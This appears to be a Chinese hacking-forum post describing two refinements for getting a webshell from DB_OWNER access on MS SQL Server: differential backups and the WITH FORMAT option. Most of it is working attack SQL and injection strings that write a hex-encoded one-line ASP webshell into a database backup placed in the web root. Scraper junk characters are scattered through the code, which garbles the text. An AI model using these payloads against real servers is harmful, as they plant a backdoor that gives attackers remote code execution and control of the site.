DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:
9 B2 M" I/ r& @% a) i4 P9 C
减少备份文件大小，得到可执行的webshell成功率提高不少
一利用差异备份
加一个参数WITH DIFFERENTIAL

% k" C- t' b- F2 J& O6 {+ R1
( M* M, U8 w' `) g2 v2
# q2 k5 r" J- X/ M3
1 k: ]( t. v, _- l4
. d) N) }; n: f declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
) o  ~2 x. [! p; M) a2 z( |create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
) Y! H4 [0 r! p: s. M, o5 c
二利用完全FORMAT
加一个参数WITH FROMAT
" g9 u# L( w  B2 {有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

1
8 y5 O% U- P$ E$ ?. ]2
5 r: X5 ?6 |/ P" h3
. o% l$ [2 F6 ~; }3 p, B4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
, ~8 B% X( l4 r% m7 h* n* `$ Pinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
/ g! s+ k3 F% o0 I- U+ A& M
总的来说就是那么简单几句,下面以备份数据库model为例子
0 o/ u" b+ _! c% ^8 o! T1

4 v, W+ w5 X5 E6 n5 t2 n1
; ?! i3 I3 N" r8 ^# } id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
- f! f+ h6 w% `' A! ^
2

) l, w3 w: q' k/ {8 x1
id=1;backup database model to disk='你的路径‘ with differential,format;--